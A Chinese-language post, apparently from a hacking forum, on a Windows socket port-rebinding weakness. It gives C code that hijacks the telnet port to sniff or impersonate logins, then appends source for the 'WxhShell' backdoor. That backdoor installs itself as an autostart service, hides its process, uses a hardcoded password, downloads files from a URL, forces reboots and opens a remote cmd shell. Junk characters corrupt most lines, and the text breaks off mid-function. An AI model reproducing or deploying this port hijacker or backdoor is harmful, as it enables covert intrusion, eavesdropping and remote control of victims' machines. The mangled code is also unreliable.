在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U92hv~\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T6,lk1S'= S8cFD):q saddr.sin_family = AF_INET;
{vH8X(m $Yxy(7d7w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
R 1 b`( j,-7J*A~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mT9\%5d3 1e+?O7/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1lQ10J [aC9vEso! 这意味着什么?意味着可以进行如下的攻击:
6qDD_:F aRwBxf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
J|q_&MX/ LYFvzw>M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xd.C&Dx5 OE"Bb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`qgJE_GC ,'6GG+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9|m L ?yb{DZ46 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;v'Y'!-J <coCu0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*X-$*
~J0 t*#&y:RG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T}TP.!0E /0uinx #include
O5?Eb #include
d!:SoZ #include
9 JtG&^* #include
p'4P2 DWORD WINAPI ClientThread(LPVOID lpParam);
Z#O3s:` int main()
c53`E U {
VLN3x.BY WORD wVersionRequested;
J|IDnCK DWORD ret;
}b(e WSADATA wsaData;
DPx,qM#h5O BOOL val;
Z(eSnV_RL SOCKADDR_IN saddr;
>>Di SOCKADDR_IN scaddr;
?OyW|jL int err;
Y ckbc6F SOCKET s;
cg%CYV) SOCKET sc;
MvmP["%J4_ int caddsize;
5aNDW'z`f HANDLE mt;
^ym{DSx DWORD tid;
$ZO<8|bW wVersionRequested = MAKEWORD( 2, 2 );
&L]*]Xz; err = WSAStartup( wVersionRequested, &wsaData );
6%#'X if ( err != 0 ) {
zOdKB2_J7 printf("error!WSAStartup failed!\n");
2A|6o*s" return -1;
^nF$<#a }
u'1=W5$rK saddr.sin_family = AF_INET;
eb\`)MI/ QO/7p]$_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Nk4_! |plo65 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=[+&({ saddr.sin_port = htons(23);
R
<\Yg3m8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{;DZ@2| {
2v1&%x:y# printf("error!socket failed!\n");
mU$7_7V~ return -1;
VAE?={- }
EIQy?ig86 val = TRUE;
)\Q|}JV //SO_REUSEADDR选项就是可以实现端口重绑定的
U&$]?3? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@ -d4kg {
\#,#_ printf("error!setsockopt failed!\n");
"Cj#bUw return -1;
i6 ?JX@I }
guXpHF= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{OrE1WHB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
RsfTUb)< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"]Dzc[Vp l:yAgm` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g GT,PP(k {
bnu0*Zg> ret=GetLastError();
gGml
c:/J% printf("error!bind failed!\n");
!bQ
&n return -1;
F)ld@Ydk= }
mm<iT59 listen(s,2);
<#
r.}T.l while(1)
7h/Q;P5 {
0]W]#X4A caddsize = sizeof(scaddr);
g
'a? //接受连接请求
D@W3;T^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nvVsO>2{ o if(sc!=INVALID_SOCKET)
3#9r4;& {
@~G`~8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
HCkqh4 if(mt==NULL)
$!!=fFX*y {
[<a%\:c m4 printf("Thread Creat Failed!\n");
aEdJ ri break;
>/kG5]zxY }
%]$p ^m }
@SG"t,5s CloseHandle(mt);
+u:OAsR }
"gajBY closesocket(s);
8A u<\~p WSACleanup();
ND1%s & return 0;
g4SYG)'R+ }
Yf)|ws?! DWORD WINAPI ClientThread(LPVOID lpParam)
&\`a5[ {
9Sl|l.;! SOCKET ss = (SOCKET)lpParam;
E(kb!Rz SOCKET sc;
LNxE-Dp unsigned char buf[4096];
:fKz^@mY4 SOCKADDR_IN saddr;
YkAWKCOni long num;
`Mp7}) DWORD val;
M#=5u`h DWORD ret;
~2DV{dyj //如果是隐藏端口应用的话,可以在此处加一些判断
a;T[%'in //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y{I[}$k saddr.sin_family = AF_INET;
8 E+C:" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[Pc[{( saddr.sin_port = htons(23);
$SGA60q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o/9LK {
nEcd+7( printf("error!socket failed!\n");
@&xaaqQ- return -1;
L0|hc }
c1A G3Nb val = 100;
z<vO# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=/QU$[7X( {
-hFyqIJW ret = GetLastError();
(s@tU>4U return -1;
! }?jCp p }
RHl=$Hm.% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v;}`?@G {
[x p,& ret = GetLastError();
!5SQN5K return -1;
)Z]y.W ) }
6?.pKFBZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
u#@{%kPW {
HGQ?(2] 8$ printf("error!socket connect failed!\n");
^8l3j4 closesocket(sc);
3?Eoj95w! closesocket(ss);
$gl<{{ return -1;
$#ju?B~ }
SP?U@w%} while(1)
chMc(.cN0 {
fDEu%fUYZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}Wche/g` //如果是嗅探内容的话,可以再此处进行内容分析和记录
3)c
K*8# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)!}-\5F num = recv(ss,buf,4096,0);
^0tf1pV2 if(num>0)
/`O]etr`d send(sc,buf,num,0);
m":SE? {{& else if(num==0)
-S%q!%}u break;
oTD-+MZn num = recv(sc,buf,4096,0);
SM /ykk if(num>0)
pz35trW send(ss,buf,num,0);
$FusDdCv3 else if(num==0)
d
O46~ break;
|*c\6 : }
o|;eMO- closesocket(ss);
=Wk/q_. closesocket(sc);
e_~fJ return 0 ;
>AzWM
.r }
7}cDGdr D@\;@(
| H9san5{ ==========================================================
|!?WQ[ s\C8t0C 下边附上一个代码,,WXhSHELL
it\DZGsg D_n}p8blT ==========================================================
}uI7\\S ?cs]#6^ #include "stdafx.h"
+fd@K K%(XgXb(</ #include <stdio.h>
GKyG
#Fl #include <string.h>
T~o{woq}g #include <windows.h>
B&i0j5L #include <winsock2.h>
T4~`e_ #include <winsvc.h>
Q1nDl #include <urlmon.h>
hP1
l v7P B?#k W!wj #pragma comment (lib, "Ws2_32.lib")
bKuj
po6 #pragma comment (lib, "urlmon.lib")
I!@s6tG "\/^/vn? #define MAX_USER 100 // 最大客户端连接数
_))I.c=v #define BUF_SOCK 200 // sock buffer
QOV}5 0 #define KEY_BUFF 255 // 输入 buffer
jkF+g$B 5Z9 ~
&U #define REBOOT 0 // 重启
/j' B\, #define SHUTDOWN 1 // 关机
F?8BS*r_ ran^te^Ks( #define DEF_PORT 5000 // 监听端口
JS/M~8+Et )Ab6!"' #define REG_LEN 16 // 注册表键长度
q1f=&kGX~ #define SVC_LEN 80 // NT服务名长度
.B'UQ|NR a4T~\\,dZ> // 从dll定义API
?AnjD8i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2<'`^AO@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
e`Co,>W/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?jri!]ux# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%-#
qO SY'2A) // wxhshell配置信息
x*h?%egB!p struct WSCFG {
[Y$5zeA int ws_port; // 监听端口
3duG.iUlL char ws_passstr[REG_LEN]; // 口令
zUs~V`0 int ws_autoins; // 安装标记, 1=yes 0=no
`k(u:yGK char ws_regname[REG_LEN]; // 注册表键名
}qiF^D} char ws_svcname[REG_LEN]; // 服务名
\9] I#Ih}M char ws_svcdisp[SVC_LEN]; // 服务显示名
X%GD0h]X# char ws_svcdesc[SVC_LEN]; // 服务描述信息
s!#HZK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
zb5N,!%r int ws_downexe; // 下载执行标记, 1=yes 0=no
Xb]=:x( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I( ]BMMj char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T~%H%O(F WHUT/:?f };
o3n3URu\ mG831v? // default Wxhshell configuration
$s-9|Lbs` struct WSCFG wscfg={DEF_PORT,
S~0JoCeo "xuhuanlingzhe",
k]?z~ p 1,
rQ "Wxhshell",
%M{k.FE( "Wxhshell",
Mlv<r=E "WxhShell Service",
g ?afX1Sg "Wrsky Windows CmdShell Service",
JFM"ii{8 "Please Input Your Password: ",
>[ ug
zJ 1,
v@8S5KJ "
http://www.wrsky.com/wxhshell.exe",
L
42|>%uo "Wxhshell.exe"
&P
8!]: };
`,wcQ N5nvL)a~ // 消息定义模块
>dpbCPJ9[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Ag0]U char *msg_ws_prompt="\n\r? for help\n\r#>";
~ww?Emrw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m|pTn#*` char *msg_ws_ext="\n\rExit.";
YC]PN5[1! char *msg_ws_end="\n\rQuit.";
mEoA#U char *msg_ws_boot="\n\rReboot...";
b'velj3A char *msg_ws_poff="\n\rShutdown...";
'nRp}s1^[ char *msg_ws_down="\n\rSave to ";
E:
9o;JU %
f2<U;ff char *msg_ws_err="\n\rErr!";
iQt!PMF. char *msg_ws_ok="\n\rOK!";
b5AGk F:%^&%\ char ExeFile[MAX_PATH];
I4)Nb WQ int nUser = 0;
?75\>NiR HANDLE handles[MAX_USER];
dQ: ?<zZ int OsIsNt;
K7IyCcdB Kb}MF9?:e SERVICE_STATUS serviceStatus;
* R%.a^R SERVICE_STATUS_HANDLE hServiceStatusHandle;
&Hv;< AD^X(rW // 函数声明
coDjL.u int Install(void);
4d!S#zx int Uninstall(void);
Nd`HB=ShJ int DownloadFile(char *sURL, SOCKET wsh);
R0%?:!
F int Boot(int flag);
P7z:3o. void HideProc(void);
~32Pjk~ int GetOsVer(void);
6wPeb~{ int Wxhshell(SOCKET wsl);
FbveI4 void TalkWithClient(void *cs);
U.: sK* int CmdShell(SOCKET sock);
A j,]n>{ int StartFromService(void);
],n%Xp int StartWxhshell(LPSTR lpCmdLine);
i 'qMi~{ 8QV t,
'I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
< CDA" VOID WINAPI NTServiceHandler( DWORD fdwControl );
z^r|3; |K%}}g[<e; // 数据结构和表定义
J"-_{)0lD SERVICE_TABLE_ENTRY DispatchTable[] =
R1}IeeZO?& {
sltk@ {wscfg.ws_svcname, NTServiceMain},
Nz~(+pVWg5 {NULL, NULL}
OR]T`meO };
`h?LVD'l o,CBA ;{P // 自我安装
L?!$EPr int Install(void)
{VR`; {
( :{"C6x char svExeFile[MAX_PATH];
1!!\+
c2* HKEY key;
RcQ>eZHl strcpy(svExeFile,ExeFile);
G+U3wF], ~;[&K%n // 如果是win9x系统,修改注册表设为自启动
R2l[Q){! if(!OsIsNt) {
rJDnuR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[[w2p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eK'wVg# RegCloseKey(key);
NCi>S%pD`< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wxj>W[V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cf)J ) RegCloseKey(key);
t:>x\V2m return 0;
y_*n9
)Ct }
8W;2oQN7 }
Zd[OWF }
nTs/Q V else {
i2*d+?Er Txo@U // 如果是NT以上系统,安装为系统服务
c5("-xB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~b Rd)1 if (schSCManager!=0)
[(|^O>k8c {
qIh #~ SC_HANDLE schService = CreateService
GB>aT-G7q (
Gg|M+M?+ schSCManager,
lyyX<=E{) wscfg.ws_svcname,
^_68]l= wscfg.ws_svcdisp,
}p=g*Zo*C; SERVICE_ALL_ACCESS,
MAnp{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%(`#A.yaE SERVICE_AUTO_START,
bg}+\/78# SERVICE_ERROR_NORMAL,
jq(qo4~; svExeFile,
0 " y%9
NULL,
>Q=Ukn;k NULL,
d8E,o7$m NULL,
|g<* Rk0
NULL,
i?;R}%~ NULL
{^J!<k,R\; );
]dG\j^e| if (schService!=0)
T1W:>~T5# {
b#/i.!:a CloseServiceHandle(schService);
U]1(&MgV CloseServiceHandle(schSCManager);
\0ov[T N.> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!,Nwts>m strcat(svExeFile,wscfg.ws_svcname);
A2NF<ZsD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G`F8!O( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"~/9F RegCloseKey(key);
b{M}5~e=B return 0;
<'+ %\ }
+{$QAjW(/ }
rA1qSG~c CloseServiceHandle(schSCManager);
*P!s{i }
]CX[7Q+' }
|CIC$2u f@@s1gdb return 1;
y\'P3ihK }
\~#WY5 EB!daZH, // 自我卸载
(?3[3w~ int Uninstall(void)
SdJ/4&{ ! {
)DT|(^ HKEY key;
9JnY$e<& =X-Tcj?3g if(!OsIsNt) {
%WGuy@tL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;Lo&}U3F,! RegDeleteValue(key,wscfg.ws_regname);
HI`q1m. RegCloseKey(key);
dlD ki. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ufrqsv]= RegDeleteValue(key,wscfg.ws_regname);
Bu3T/m RegCloseKey(key);
KKEN'-3 return 0;
>o~Z>lr }
=P`~t<ajB }
\:v$ZEDJ> }
7NL%$Vf else {
d-B7["z, lw[e*q{s. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P`jL]x if (schSCManager!=0)
{Dr@HP/x=s {
33K*qaRAD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+}@8p[`) if (schService!=0)
J!TBREK {
.A6lj).: if(DeleteService(schService)!=0) {
tmJgm5v CloseServiceHandle(schService);
c|AtBgvf CloseServiceHandle(schSCManager);
WKl+{e return 0;
TWd;EnNM }
g=l:cVr8y CloseServiceHandle(schService);
p $ouh }
lA^+Flh CloseServiceHandle(schSCManager);
{6G?[
`&ca }
jb[!E^'&> }
Xsuwa-G!5~ z0bJ?~w, return 1;
@;:>G A }
/ nZ;v4 Jblj^n?Bm // 从指定url下载文件
A8DFm{})c int DownloadFile(char *sURL, SOCKET wsh)
3yA2WW {
rwE%G>Vb HRESULT hr;
=IjQ4 0W char seps[]= "/";
z@Hp,|Vy[ char *token;
r$(~j^<s char *file;
=f1B,%7G+5 char myURL[MAX_PATH];
hs+kr?Pg` char myFILE[MAX_PATH];
MYLsHIPC '+Xlw strcpy(myURL,sURL);
wy,p&g)> token=strtok(myURL,seps);
)ev<7g9*q while(token!=NULL)
)]43R {
7~1IO|4t file=token;
-\,zRIOK token=strtok(NULL,seps);
o "z@&G" ^ }
Kw5Lhc1V #1.YKo GetCurrentDirectory(MAX_PATH,myFILE);
)G1P^WV4 strcat(myFILE, "\\");
hBU\'.x strcat(myFILE, file);
>\Sr{p5KR send(wsh,myFILE,strlen(myFILE),0);
mXzrEI send(wsh,"...",3,0);
%Ym^{N hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'%saL >0 if(hr==S_OK)
x@>&IBiL return 0;
$s5a G)?7 else
^U[D4UM return 1;
:dI\z]Y( CC^E_j T }
%~xGkk"I kAA>FI6 // 系统电源模块
FFKGd/:! int Boot(int flag)
S9| a$3K' {
u3 0s_\ HANDLE hToken;
28.~iw TOKEN_PRIVILEGES tkp;
3AcD,,M>> eqAW+Ptx if(OsIsNt) {
q'Wr[A40j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>rsqH+oL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bGF7Zh9 tkp.PrivilegeCount = 1;
lfZ04M{2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
gB'fFkd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
M]]pTU(( if(flag==REBOOT) {
'x"08v$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!h[VUg_8 return 0;
&opd2 }
n(seNp%_ else {
ZraT3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rjx6Djo> return 0;
*f%>YxF }
txgQ"MGA% }
aGZi9O7G} else {
M<PIeKIEB if(flag==REBOOT) {
"KX=ow#z| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
IuF_M<d, return 0;
@=jWHS }
cTTW06^ else {
3*UR3!Z9
* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Gq<X4C#| return 0;
D]G)j }
1 rs&74- }
DV)3 pCh2SQ(Q> return 1;
$Fkaa<9;P }
.iMN,+qP #>=j79~ // win9x进程隐藏模块
<_Z:'~Zp void HideProc(void)
7Z ;?b0W {
)rW&c-' YKmsQ(q`N HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%WTEv?I{Ga if ( hKernel != NULL )
d[p;T\?" {
L|-98]8> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
SP* fv` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
v3d&*I FreeLibrary(hKernel);
".^VI2T }
EtbnE*S b$%0.s return;
W14F }
ZF7IL mE`kjmX{ E // 获取操作系统版本
c~QS9)=E int GetOsVer(void)
=OIw*L8C"I {
qy)_wM OSVERSIONINFO winfo;
D:^$4}h
f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
WrPUd{QM GetVersionEx(&winfo);
WQyLf;!Lz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
wNFz*|n return 1;
<f CKUc else
eW5SFY. return 0;
Q+4tIrd+ }
m,C1J%{^ lif&@of // 客户端句柄模块
FR2=
las"z int Wxhshell(SOCKET wsl)
jls-@Wl {
(Yo>Oh4 SOCKET wsh;
RrUBpqA struct sockaddr_in client;
1I@8A>2^OX DWORD myID;
N7E$G{TT Hbv6_H while(nUser<MAX_USER)
qW:HNEiir {
kmzH'wktt int nSize=sizeof(client);
6T 8!xyi-+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
DCqY|4Qc if(wsh==INVALID_SOCKET) return 1;
.ERO|$fv I>L-1o|^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4DZ-bt' if(handles[nUser]==0)
*5 w{8 closesocket(wsh);
4_Dp+^JF else
()&~@1U nUser++;
wtje(z5IL }
Eu"_MgD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'y8]_K* U9b?i$ return 0;
.bBdQpF- }
WAdCF-S 4pw6bK,s2\ // 关闭 socket
q6YX M void CloseIt(SOCKET wsh)
)K &( {
%HrAzM.QBF closesocket(wsh);
df7wN#kO+ nUser--;
N F)~W# ExitThread(0);
(o3
Iy }
jKt7M>P l;o1 d-n] // 客户端请求句柄
(#+^&1 void TalkWithClient(void *cs)
6@DF {
/Q,mJ.CnSR J:V?EE,\- SOCKET wsh=(SOCKET)cs;
jy-{~xdg[ char pwd[SVC_LEN];
)"Ztlhs`# char cmd[KEY_BUFF];
d!eYqM7-G char chr[1];
x.S3Zi}= int i,j;
M4as N-lkYL-%\j while (nUser < MAX_USER) {
sr8cYLm5R ]U"94S U:) if(wscfg.ws_passstr) {
bhniB@< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
13taFVdU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{<<U^<6} //ZeroMemory(pwd,KEY_BUFF);
1GzAG;UUo6 i=0;
,v"YqD+GC5 while(i<SVC_LEN) {
a+n0|CvF T=ev[ mS // 设置超时
x7O-Y~[2 fd_set FdRead;
2}8v(%s p struct timeval TimeOut;
GSH>7!.# FD_ZERO(&FdRead);
SL5Ai/X0N FD_SET(wsh,&FdRead);
X&kp;W TimeOut.tv_sec=8;
Kr)a2rZ}SL TimeOut.tv_usec=0;
1I:+MBGin int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Bz,?{o6s)Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
gEjdN. =>-Rnc@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Mo^ od< pwd
=chr[0]; 'inFKy'H
if(chr[0]==0xd || chr[0]==0xa) { zCk^B/j sM
pwd=0; EN/,5<S<,[
break; M3.do^ss
} A0Qb 5e
i++; $< JaLS
} 9 AJ(&qY(
<7~'; K
// 如果是非法用户,关闭 socket A}l3cP;
`#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nrjE.+v
} a|X a3E
CB^U6ZS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LGn:c;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }4,L%$@n
$ ` ""
while(1) { |p ,P46I
vX.VfY
ZeroMemory(cmd,KEY_BUFF); %KLpig
2WdyxjQ
// 自动支持客户端 telnet标准 7<*yS310
j=0; :=Nz}mUV
while(j<KEY_BUFF) { ,y#Kv|R
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o2F)%T DY
cmd[j]=chr[0]; NCDvobYJ
if(chr[0]==0xa || chr[0]==0xd) { {z{bY\
cmd[j]=0; yK=cZw%D
break; .6Pw|xu`Pw
} 5?x>9Ca
j++; wfH^<jY)E
} I`!<9OTBj
DW[N|-L
// 下载文件 Vh4X%b$TV
if(strstr(cmd,"http://")) { BI%$c~wS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -Ps!LI{@
if(DownloadFile(cmd,wsh)) *_d7E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #AJM6* G9
else $|@
(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gDpVeBd[
} 1ukTA@Rj&
else { ]Gsv0Xk1
s*. hl.k.
switch(cmd[0]) { T{-CkHf9Q
U2W|:~KM
// 帮助 SHfy".A6.0
case '?': { C&(N
I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yo6*C
break; |IzPgC
} 8<QdMkI
// 安装 ;@oN s-
case 'i': { YIG~MP
if(Install()) xqu}cz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K &N
else (5-FV p
fb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3EPv"f^V
break; _uy44;zq
} w9EOC$|Y
// 卸载 V2wb%;q
case 'r': { M /"I2m
if(Uninstall()) s Z].8.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ig/xv
else cK( C&NK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GjvOM y
break; N5lDS
} Pd_U7&w,5
// 显示 wxhshell 所在路径 !Dn,^
case 'p': { -lY6|79bF
char svExeFile[MAX_PATH]; 4O^xY
6m
strcpy(svExeFile,"\n\r"); *RJG!t*t
strcat(svExeFile,ExeFile); qm/22:&v5
send(wsh,svExeFile,strlen(svExeFile),0); V_ .5b&@
break; Q+{xZ'o"Z
} Rl?_^dPx
// 重启 f.KN-f8<F
case 'b': { YJT&{jYi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V17%=bCZ5[
if(Boot(REBOOT)) iP ->S\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .WZ^5>M-
else { &]|?o_p3W
closesocket(wsh);
iu=7O
ExitThread(0); :(P9mt
} 8e1UmM[
break; W}@c|d $`
} #A JDWelD
// 关机 RbOUfD(J4
case 'd': { }C"%p8=HM
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V^bwXr4f
if(Boot(SHUTDOWN)) I-]?"Q7Jz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ypL=~Rp
else { "o-zy'I
closesocket(wsh); $r@zs'N
ExitThread(0); E Nhl&J
} "jKY1*?
break; -b9\=U[
} \wz6~5R
// 获取shell l<58A7
case 's': { he;dq)-e9
CmdShell(wsh); +V ;l6D
closesocket(wsh); 61C7.EZZ;
ExitThread(0); \/r}]Vz
break; H)kwQRfu
} 9<6;Hr,>G
// 退出 P64PPbP
case 'x': { >*
f-Wde
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pP&7rRhw
CloseIt(wsh); O:;w3u7;u
break; ;"5&b!=t
} l*(8i ^
// 离开 M2,l7
case 'q': { -A^ _{4X
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +SR+gE\s0
closesocket(wsh); P^~yzI
WSACleanup(); _7Ju
exit(1); 4yy>jXDG
break; dd %6t
} /=nJRC3.
} }c,}V
} 24 ' J
y4?0j:
// 提示信息 xX&+WR
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fgp]x&5Q
} n,y ZRY
} {T$9?`h~M
Cgk<pky1
return; y@S$^jk.
} SaO}e
-V77C^()8d
// shell模块句柄 iy.p n
int CmdShell(SOCKET sock) @alK;\
{ zZPO&akB"
STARTUPINFO si; nV|EQs4(
ZeroMemory(&si,sizeof(si)); mp1@|*Sn
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uiw2oi&_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cw3a0u
PROCESS_INFORMATION ProcessInfo; ?=sDM& '
char cmdline[]="cmd"; J/y83@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O3,jg|,
return 0; TQF| a\M'
} EeE7#$l
D0-3eV-
// 自身启动模式 ~^:A{/
int StartFromService(void) T4Uev*A
{ I{C
SH
typedef struct DMr\ TN
{ e8a+2.!&\
DWORD ExitStatus; V+Y%v.F
DWORD PebBaseAddress; Woym/[i
DWORD AffinityMask; I^-Sb=j?Z
DWORD BasePriority; NIry)'"
ULONG UniqueProcessId; 0
